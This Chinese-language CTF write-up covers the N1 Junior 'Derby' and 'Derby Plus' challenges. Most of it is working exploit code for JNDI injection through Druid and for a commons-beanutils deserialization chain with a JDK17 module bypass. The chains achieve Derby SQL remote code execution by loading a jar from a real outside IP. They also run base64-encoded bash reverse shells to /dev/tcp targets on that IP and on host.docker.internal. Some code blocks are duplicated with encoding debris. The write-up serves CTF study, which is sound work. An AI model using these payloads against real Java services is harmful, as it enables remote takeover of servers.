InMemoryDirectoryServerConfig(LDAP_BASE);            config.setListenerConfigs(new InMemoryListenerConfig(                    "listen",                    InetAddress.getByName("0.0.0.0"),                    port,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory) SSLSocketFactory.getDefault()));            config.addInMemoryOperationInterceptor(new OperationInterceptor());            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);            System.out.println("Listening on 0.0.0.0:" + port);            ds.startListening();        }        catch (Exception e) {            e.printStackTrace();        }    }    private static class OperationInterceptor extends InMemoryOperationInterceptor {        @Override        public void processSearchResult(InMemoryInterceptedSearchResult result) {            String base = result.getRequest().getBaseDN();            Entry e = new Entry(base);            e.addAttribute("javaClassName", "foo");            try {                List<String> list = new ArrayList<>();                list.add("CALL SQLJ.INSTALL_JAR('http://host.docker.internal:8000/Evil.jar', 'APP.Evil', 0)");                list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil')");                list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'");                list.add("CALL cmd('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}')");                Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);                ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true"));                ref.add(new StringRefAddr("init", "true"));                ref.add(new StringRefAddr("initialSize", "1"));                ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));                e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));                result.sendSearchEntry(e);                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));            } catch (Exception exception) {                exception.printStackTrace();            }        }    }}

准备一个 Evil.java

public class Evil {    public static void exec(String cmd) throws Exception {        Runtime.getRuntime().exec(cmd);    }}

目录结构

$ tree ..└── src    └── Evil.java2 directories, 1 file

编译 + 打包成 jar

javac src/Evil.javajar -cvf Evil.jar -C src/ .

将 Evil.jar 使用 Web Server 托管, 然后启动 LDAP Server, 最后访问 url

http://127.0.0.1:10800/lookup?url=ldap://host.docker.internal:1389/a

image-20240204120806102

image-20240204120821013

这种通过 JNDI 实现 Derby SQL RCE 的方法被我集成到了 JNDIMap 里面

项目地址: GitHub - X1r0z/JNDIMap: JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式. Contribute to X1r0z/JNDIMap development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/X1r0z/JNDIMap

payload

# 1. 加载远程 jar 并创建相关存储过程 (会自动创建数据库)ldap://127.0.0.1:1389/Druid/Derby/Install/<database># 2. 执行命令/原生反弹 Shellldap://127.0.0.1:1389/Druid/Derby/Command/<database>/open -a Calculatorldap://127.0.0.1:1389/Druid/Derby/ReverseShell/<database>/ReverseShell/127.0.0.1/4444# 3. 删除数据库以释放内存ldap://127.0.0.1:1389/Druid/Derby/Drop/<database>

法二:

Derby + Druid 高版本 JNDI JDBC Attack
又到了Java Time,当时晚上写这题的时候还踩了点坑,主要就是JDK17那个大坑,我就是不信邪,我就是想用Derby的readObject去打Jackson链,但其实现在想想一点都不可能,因为JDK限制了module

//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package com.example.derby;import javax.naming.Context;import javax.naming.InitialContext;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;@RestControllerpublic class IndexController {    public IndexController() {    }    @RequestMapping({"/"})    public String index() {        return "hello derby";    }    @RequestMapping({"/lookup"})    public String lookup(@RequestParam String url) throws Exception {        Context ctx = new InitialContext();        ctx.lookup(url);        return "ok";    }}
12345678910111213141516171819202122232425262728293031
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package com.example.derby;import javax.naming.Context;import javax.naming.InitialContext;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;@RestControllerpublic class IndexController {    public IndexController() {    }    @RequestMapping({"/"})    public String index() {        return "hello derby";    }    @RequestMapping({"/lookup"})    public String lookup(@RequestParam String url) throws Exception {        Context ctx = new InitialContext();        ctx.lookup(url);        return "ok";    }}

很干脆的一个JNDI入口点lookup。但JDK17,在这个环境下还是需要利用一些额外的类去绕过,在Tomcat某些版本是可以BeanFactory配合EL去实现命令执行的,这里是Druid,也可以绕过。
DruidDataSourceFactory#getObjectInstance

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        if (obj != null && obj instanceof Reference) {            Reference ref = (Reference)obj;            if (!"javax.sql.DataSource".equals(ref.getClassName()) && !"com.alibaba.druid.pool.DruidDataSource".equals(ref.getClassName())) {                return null;            } else {                Properties properties = new Properties();                for(int i = 0; i < ALL_PROPERTIES.length; ++i) {                    String propertyName = ALL_PROPERTIES[i];                    RefAddr ra = ref.get(propertyName);                    if (ra != null) {                        String propertyValue = ra.getContent().toString();                        properties.setProperty(propertyName, propertyValue);                    }                }                return this.createDataSourceInternal(properties);            }        } else {            return null;        }    }
1234567891011121314151617181920212223
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        if (obj != null && obj instanceof Reference) {            Reference ref = (Reference)obj;            if (!"javax.sql.DataSource".equals(ref.getClassName()) && !"com.alibaba.druid.pool.DruidDataSource".equals(ref.getClassName())) {                return null;            } else {                Properties properties = new Properties();                for(int i = 0; i < ALL_PROPERTIES.length; ++i) {                    String propertyName = ALL_PROPERTIES[i];                    RefAddr ra = ref.get(propertyName);                    if (ra != null) {                        String propertyValue = ra.getContent().toString();                        properties.setProperty(propertyName, propertyValue);                    }                }                return this.createDataSourceInternal(properties);            }        } else {            return null;        }    }

在这里有一个createDataSourceInternal操作
 

image.png


在这个config方法最后会调用init方法
 

image.png


在这里会有createPhysicalConnection方法
 

image.png


最终在里面发起了JDBC连接。
 

image.png


这时候就回到了JDBC-ATTACK的利用了
JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laughicon-default.png?t=N7T8https://boogipop.com/2023/10/01/JDBC-Attack%20%E5%88%A9%E7%94%A8%E6%B1%87%E6%80%BB/
假如在这里有h2数据库的driver那就可以直接RCE,但很遗憾是没有的并且题目提示打derby。我一开始去想到的是derby的readobject,但实际上并不是,这里需要自己寻找一下。回到config方法,你会发现有一些初始化操作
 

image.png


而这里我们效仿h2,也寻找是否有初始化的sql语句,到这里就转变为了sql可控的注入。而derby数据库也是可以加载Jar包的
derby数据库如何实现RCE - lvyyevd's 安全博客前言前段时间遇到了一个后台可以操作数据库语句的地方,且使用的数据库为derby,derby数据库可以作为内嵌数据库,要知道H2数据库可以利用alias别名,调用java代码进行命令执行。猜测derby数据库也有相应功能,一直翻阅官方文档,终于找到了一种RCE利用方式(应该还没有人发吧),在这里记录一icon-default.png?t=N7T8http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce

## 导入一个类到数据库中CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'## 调用PROCEDURECALL SALES.TOTAL_REVENUES()
1234567891011
## 导入一个类到数据库中CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'## 调用PROCEDURECALL SALES.TOTAL_REVENUES()

那么最终poc就如下了:

package com.javasec.pocs.solutions.n1junior;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class DerbyEvilServer {    public static void main(String[] args) {        try{            //Registry registry = LocateRegistry.getRegistry(8883);            Registry registry = LocateRegistry.createRegistry(8883);            Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);            String JDBC_URL = "jdbc:derby:dbname;create=true";            String JDBC_USER = "root";            String JDBC_PASSWORD = "password";            ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver"));            ref.add(new StringRefAddr("url",JDBC_URL));            ref.add(new StringRefAddr("username",JDBC_USER));            ref.add(new StringRefAddr("password",JDBC_PASSWORD));            ref.add(new StringRefAddr("initialSize","1"));            ref.add(new StringRefAddr("initConnectionSqls","CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();"));            ref.add(new StringRefAddr("init","true"));            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);            registry.bind("pop",referenceWrapper);        }        catch(Exception e){            e.printStackTrace();        }    }}
123456789101112131415161718192021222324252627282930313233343536
package com.javasec.pocs.solutions.n1junior;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class DerbyEvilServer {    public static void main(String[] args) {        try{            //Registry registry = LocateRegistry.getRegistry(8883);            Registry registry = LocateRegistry.createRegistry(8883);            Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);            String JDBC_URL = "jdbc:derby:dbname;create=true";            String JDBC_USER = "root";            String JDBC_PASSWORD = "password";            ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver"));            ref.add(new StringRefAddr("url",JDBC_URL));            ref.add(new StringRefAddr("username",JDBC_USER));            ref.add(new StringRefAddr("password",JDBC_PASSWORD));            ref.add(new StringRefAddr("initialSize","1"));            ref.add(new StringRefAddr("initConnectionSqls","CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();"));            ref.add(new StringRefAddr("init","true"));            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);            registry.bind("pop",referenceWrapper);        }        catch(Exception e){            e.printStackTrace();        }    }}

制作恶意jar包如下:

import java.io.IOException;public class testShell4 {    public static void exec() throws IOException {        Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NSA8JjE=}|{base64,-d}|{bash,-i}");    }
1234567
import java.io.IOException;public class testShell4 {    public static void exec() throws IOException {        Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NSA8JjE=}|{base64,-d}|{bash,-i}");    }}

最后可以看到反弹shell
 

image.png

image.png

Derby Plus

法一:

这道题跟 Derby 的思路其实是一样的, 最终都是通过 JNDI 打 Derby SQL RCE

不同点在于这道题没有直接给出 JNDI 注入的点, 但是给出了 CB 链, 需要大家通过 CB 链构造一个 JNDI 注入

pom.xml 依赖

<dependencies>    <dependency>        <groupId>org.springframework.boot</groupId>        <artifactId>spring-boot-starter-web</artifactId>    </dependency>    <dependency>        <groupId>commons-beanutils</groupId>        <artifactId>commons-beanutils</artifactId>        <version>1.8.3</version>    </dependency>    <dependency>        <groupId>com.alibaba</groupId>        <artifactId>druid</artifactId>        <version>1.2.21</version>    </dependency>    <dependency>        <groupId>org.apache.derby</groupId>        <artifactId>derby</artifactId>        <version>10.14.2.0</version>    </dependency></dependencies>

当然还是那句话, 因为模块化的访问机制导致不能用 CB/Jackson + TemplatesImpl/JdbcRowSetImpl 一把梭

这道题考察的也是一个非常经典的位于 Java 标准库的利用链: LdapAttribute

https://xz.aliyun.com/t/9126icon-default.png?t=N7T8https://xz.aliyun.com/t/9126

https://xz.aliyun.com/t/12910icon-default.png?t=N7T8https://xz.aliyun.com/t/12910

反序列化新的Gadget:com.sun.jndi.ldap.LdapAttribute-CSDN博客文章浏览阅读930次。这个CTF是1.4的Java。同时由于这个类在1.8中依然存在,所以也可以在1.8利用:一些新手可能会被 ysoserial 里标注的利用链依赖库版本所迷惑,认为某个链就只能在对应标注的依赖版本下起作用,其实并非如此。像 ysoserial 里 CommonsBeanutils1 这个链,作者标注的依赖版本是:commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2但这些版本实际上反映的只是 ysoserial 作者在_com.sun.jndi.ldap.ldapattributehttps://blog.csdn.net/caiqiiqi/article/details/112602151

%20

payload

%20
Class%20clazz%20=%20Class.forName("com.sun.jndi.ldap.LdapAttribute");Constructor%20constructor%20=%20clazz.getDeclaredConstructor(String.class);constructor.setAccessible(true);Object%20obj%20=%20constructor.newInstance("name");ReflectUtil.setFieldValue(obj,%20"baseCtxURL",%20"ldap://host.docker.internal:1389/");ReflectUtil.setFieldValue(obj,%20"rdn",%20new%20CompositeName("a/b"));BeanComparator%20beanComparator%20=%20new%20BeanComparator(null,%20String.CASE_INSENSITIVE_ORDER);PriorityQueue%20priorityQueue%20=%20new%20PriorityQueue(2,%20beanComparator);priorityQueue.add("1");priorityQueue.add("1");beanComparator.setProperty("attributeDefinition");ReflectUtil.setFieldValue(priorityQueue,%20"queue",%20new%20Object[]{obj,%20obj});System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(priorityQueue)));
%20

后续流程跟上面%20Derby%20题目一样

%20

法二:(具体分析)

%20

Druiddatasource%20getter%20gadgets%20+%20JDBC%20Attack%20入口点变成了反序列化

%20
////%20Source%20code%20recreated%20from%20a%20.class%20file%20by%20IntelliJ%20IDEA//%20(powered%20by%20FernFlower%20decompiler)//package%20com.example.derbyplus;import%20java.io.ByteArrayInputStream;import%20java.io.ObjectInputStream;import%20java.util.Base64;import%20org.springframework.web.bind.annotation.RequestBody;import%20org.springframework.web.bind.annotation.RequestMapping;import%20org.springframework.web.bind.annotation.RestController;@RestControllerpublic%20class%20IndexController%20{%20%20%20%20public%20IndexController()%20{%20%20%20%20}%20%20%20%20@RequestMapping({"/"})%20%20%20%20public%20String%20index()%20{%20%20%20%20%20%20%20%20return%20"hello%20derby%20plus";%20%20%20%20}%20%20%20%20@RequestMapping({"/deserialize"})%20%20%20%20public%20String%20deserialize(@RequestBody%20String%20body)%20throws%20Exception%20{%20%20%20%20%20%20%20%20byte[]%20data%20=%20Base64.getDecoder().decode(body);%20%20%20%20%20%20%20%20ObjectInputStream%20input%20=%20new%20ObjectInputStream(new%20ByteArrayInputStream(data));%20%20%20%20%20%20%20%20try%20{%20%20%20%20%20%20%20%20%20%20%20%20input.readObject();%20%20%20%20%20%20%20%20}%20catch%20(Throwable%20var7)%20{%20%20%20%20%20%20%20%20%20%20%20%20try%20{%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20input.close();%20%20%20%20%20%20%20%20%20%20%20%20}%20catch%20(Throwable%20var6)%20{%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var7.addSuppressed(var6);%20%20%20%20%20%20%20%20%20%20%20%20}%20%20%20%20%20%20%20%20%20%20%20%20throw%20var7;%20%20%20%20%20%20%20%20}%20%20%20%20%20%20%20%20input.close();%20%20%20%20%20%20%20%20return%20"ok";%20%20%20%20}}
%20
%20
12345678910111213141516171819202122232425262728293031323334353637383940414243444546
%20
%20
////%20Source%20code%20recreated%20from%20a%20.class%20file%20by%20IntelliJ%20IDEA//%20(powered%20by%20FernFlower%20decompiler)//package%20com.example.derbyplus;import%20java.io.ByteArrayInputStream;import%20java.io.ObjectInputStream;import%20java.util.Base64;import%20org.springframework.web.bind.annotation.RequestBody;import%20org.springframework.web.bind.annotation.RequestMapping;import%20org.springframework.web.bind.annotation.RestController;@RestControllerpublic%20class%20IndexController%20{%20%20%20%20public%20IndexController()%20{%20%20%20%20}%20%20%20%20@RequestMapping({"/"})%20%20%20%20public%20String%20index()%20{%20%20%20%20%20%20%20%20return%20"hello%20derby%20plus";%20%20%20%20}%20%20%20%20@RequestMapping({"/deserialize"})%20%20%20%20public%20String%20deserialize(@RequestBody%20String%20body)%20throws%20Exception%20{%20%20%20%20%20%20%20%20byte[]%20data%20=%20Base64.getDecoder().decode(body);%20%20%20%20%20%20%20%20ObjectInputStream%20input%20=%20new%20ObjectInputStream(new%20ByteArrayInputStream(data));%20%20%20%20%20%20%20%20try%20{%20%20%20%20%20%20%20%20%20%20%20%20input.readObject();%20%20%20%20%20%20%20%20}%20catch%20(Throwable%20var7)%20{%20%20%20%20%20%20%20%20%20%20%20%20try%20{%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20input.close();%20%20%20%20%20%20%20%20%20%20%20%20}%20catch%20(Throwable%20var6)%20{%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var7.addSuppressed(var6);%20%20%20%20%20%20%20%20%20%20%20%20}%20%20%20%20%20%20%20%20%20%20%20%20throw%20var7;%20%20%20%20%20%20%20%20}%20%20%20%20%20%20%20%20input.close();%20%20%20%20%20%20%20%20return%20"ok";%20%20%20%20}}
%20
%20

并且给了cb依赖%20 

%20


已经是赤裸裸的在勾引了。打一个getter去触发getconnection,所以都不需要思考就找到了
DruidDataSource#getConnection
 

image.png


并且这里刚好就有init方法,我们可以同样去打jdbc然后rce。

package org.example;import com.alibaba.druid.pool.DruidDataSource;import org.apache.commons.beanutils.BeanComparator;import sun.misc.Unsafe;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.*;public class DerbyPlusExp {    public static void main(String[] args) throws Exception {        final ArrayList<Class> classes = new ArrayList<>();        classes.add(Class.forName("java.lang.reflect.Field"));        classes.add(Class.forName("java.lang.reflect.Method"));        classes.add(Class.forName("java.util.HashMap"));        classes.add(Class.forName("java.util.Properties"));        classes.add(Class.forName("java.util.PriorityQueue"));        classes.add(Class.forName("org.apache.commons.beanutils.BeanComparator"));        classes.add(Class.forName("com.alibaba.druid.pool.DruidDataSource"));        new DerbyPlusExp().bypassModule(classes);        DruidDataSource druidDataSource = new DruidDataSource();        druidDataSource.setUrl("jdbc:derby:dbname;create=true");        druidDataSource.setDriverClassName("org.apache.derby.jdbc.EmbeddedDriver");        druidDataSource.setInitialSize(1);        StringTokenizer tokenizer = new StringTokenizer("CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();", ";");        druidDataSource.setConnectionInitSqls(Collections.list(tokenizer));        Class unsafeClass = Class.forName("sun.misc.Unsafe");        //bypass PriorityQueue对druidDataSource的module限制,因为存在调用        Field field = unsafeClass.getDeclaredField("theUnsafe");        field.setAccessible(true);        Unsafe unsafe = (Unsafe) field.get(null);        Module baseModule = druidDataSource.getClass().getModule();        Class currentClass = PriorityQueue.class;        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));        unsafe.putObject(currentClass, offset, baseModule);        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);        // stub data for replacement later        queue.add("1");        queue.add("2");        setFieldValue(comparator, "property", "connection");        setFieldValue(druidDataSource,"logWriter",null);        setFieldValue(druidDataSource,"statLogger",null);        setFieldValue(druidDataSource,"transactionHistogram",null);        setFieldValue(druidDataSource,"initedLatch",null);        setFieldValue(queue, "queue", new Object[]{druidDataSource, druidDataSource});        String s = base64serial(queue);        s.replace("+","%2b");        System.out.println(s);        deserTester(queue);    }    private static Method getMethod(Class clazz, String methodName, Class[]            params) {        Method method = null;        while (clazz!=null){            try {                method = clazz.getDeclaredMethod(methodName,params);                break;            }catch (NoSuchMethodException e){                clazz = clazz.getSuperclass();            }        }        return method;    }    private static Unsafe getUnsafe() {        Unsafe unsafe = null;        try {            Field field = Unsafe.class.getDeclaredField("theUnsafe");            field.setAccessible(true);            unsafe = (Unsafe) field.get(null);        } catch (Exception e) {            throw new AssertionError(e);        }        return unsafe;    }    public void bypassModule(ArrayList<Class> classes){        try {            Unsafe unsafe = getUnsafe();            Class currentClass = this.getClass();            try {                Method getModuleMethod = getMethod(Class.class, "getModule", new                        Class[0]);                if (getModuleMethod != null) {                    for (Class aClass : classes) {                        Object targetModule = getModuleMethod.invoke(aClass, new                                Object[]{});                        unsafe.getAndSetObject(currentClass,                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);                    }                }            }catch (Exception e) {            }        }catch (Exception e){            e.printStackTrace();        }    }    public static void deserTester(Object o) throws Exception {        base64deserial(base64serial(o));    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = getField(obj.getClass(), fieldName);        field.setAccessible(true);        if(field != null) {            field.set(obj, value);        }    }    public static Field getField(final Class<?> clazz, final String fieldName) {        Field field = null;        try {            field = clazz.getDeclaredField(fieldName);            field.setAccessible(true);        } catch (NoSuchFieldException ex) {            if (clazz.getSuperclass() != null)                field = getField(clazz.getSuperclass(), fieldName);        }        return field;    }    public static void base64deserial(String data) throws Exception {        byte[] base64decodedBytes = Base64.getDecoder().decode(data);        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);        ObjectInputStream ois = new ObjectInputStream(bais);        ois.readObject();        ois.close();    }    public static String base64serial(Object o) throws Exception {        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(baos);        oos.writeObject(o);        oos.close();        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());        return base64String;    }}
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141
package org.example;import com.alibaba.druid.pool.DruidDataSource;import org.apache.commons.beanutils.BeanComparator;import sun.misc.Unsafe;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.*;public class DerbyPlusExp {    public static void main(String[] args) throws Exception {        final ArrayList<Class> classes = new ArrayList<>();        classes.add(Class.forName("java.lang.reflect.Field"));        classes.add(Class.forName("java.lang.reflect.Method"));        classes.add(Class.forName("java.util.HashMap"));        classes.add(Class.forName("java.util.Properties"));        classes.add(Class.forName("java.util.PriorityQueue"));        classes.add(Class.forName("org.apache.commons.beanutils.BeanComparator"));        classes.add(Class.forName("com.alibaba.druid.pool.DruidDataSource"));        new DerbyPlusExp().bypassModule(classes);        DruidDataSource druidDataSource = new DruidDataSource();        druidDataSource.setUrl("jdbc:derby:dbname;create=true");        druidDataSource.setDriverClassName("org.apache.derby.jdbc.EmbeddedDriver");        druidDataSource.setInitialSize(1);        StringTokenizer tokenizer = new StringTokenizer("CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();", ";");        druidDataSource.setConnectionInitSqls(Collections.list(tokenizer));        Class unsafeClass = Class.forName("sun.misc.Unsafe");        //bypass PriorityQueue对druidDataSource的module限制,因为存在调用        Field field = unsafeClass.getDeclaredField("theUnsafe");        field.setAccessible(true);        Unsafe unsafe = (Unsafe) field.get(null);        Module baseModule = druidDataSource.getClass().getModule();        Class currentClass = PriorityQueue.class;        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));        unsafe.putObject(currentClass, offset, baseModule);        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);        // stub data for replacement later        queue.add("1");        queue.add("2");        setFieldValue(comparator, "property", "connection");        setFieldValue(druidDataSource,"logWriter",null);        setFieldValue(druidDataSource,"statLogger",null);        setFieldValue(druidDataSource,"transactionHistogram",null);        setFieldValue(druidDataSource,"initedLatch",null);        setFieldValue(queue, "queue", new Object[]{druidDataSource, druidDataSource});        String s = base64serial(queue);        s.replace("+","%2b");        System.out.println(s);        deserTester(queue);    }    private static Method getMethod(Class clazz, String methodName, Class[]            params) {        Method method = null;        while (clazz!=null){            try {                method = clazz.getDeclaredMethod(methodName,params);                break;            }catch (NoSuchMethodException e){                clazz = clazz.getSuperclass();            }        }        return method;    }    private static Unsafe getUnsafe() {        Unsafe unsafe = null;        try {            Field field = Unsafe.class.getDeclaredField("theUnsafe");            field.setAccessible(true);            unsafe = (Unsafe) field.get(null);        } catch (Exception e) {            throw new AssertionError(e);        }        return unsafe;    }    public void bypassModule(ArrayList<Class> classes){        try {            Unsafe unsafe = getUnsafe();            Class currentClass = this.getClass();            try {                Method getModuleMethod = getMethod(Class.class, "getModule", new                        Class[0]);                if (getModuleMethod != null) {                    for (Class aClass : classes) {                        Object targetModule = getModuleMethod.invoke(aClass, new                                Object[]{});                        unsafe.getAndSetObject(currentClass,                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);                    }                }            }catch (Exception e) {            }        }catch (Exception e){            e.printStackTrace();        }    }    public static void deserTester(Object o) throws Exception {        base64deserial(base64serial(o));    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = getField(obj.getClass(), fieldName);        field.setAccessible(true);        if(field != null) {            field.set(obj, value);        }    }    public static Field getField(final Class<?> clazz, final String fieldName) {        Field field = null;        try {            field = clazz.getDeclaredField(fieldName);            field.setAccessible(true);        } catch (NoSuchFieldException ex) {            if (clazz.getSuperclass() != null)                field = getField(clazz.getSuperclass(), fieldName);        }        return field;    }    public static void base64deserial(String data) throws Exception {        byte[] base64decodedBytes = Base64.getDecoder().decode(data);        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);        ObjectInputStream ois = new ObjectInputStream(bais);        ois.readObject();        ois.close();    }    public static String base64serial(Object o) throws Exception {        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(baos);        oos.writeObject(o);        oos.close();        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());        return base64String;    }}

环境是JDK17,注意一下payload生成。
 

image.png


 

image.png


这里需要学习的点就是jdk17如何bypass module的限制,这一点其实早在Kcon2021 Beichen师傅就已经提出了,也是学到了很多。

总结

小北觉得这一次的N1 Junior的题大部分都有个共同性,就是二次思维,也就是单次Attack无法达到利用,那就double attack!!!

也许您对下面的内容还感兴趣: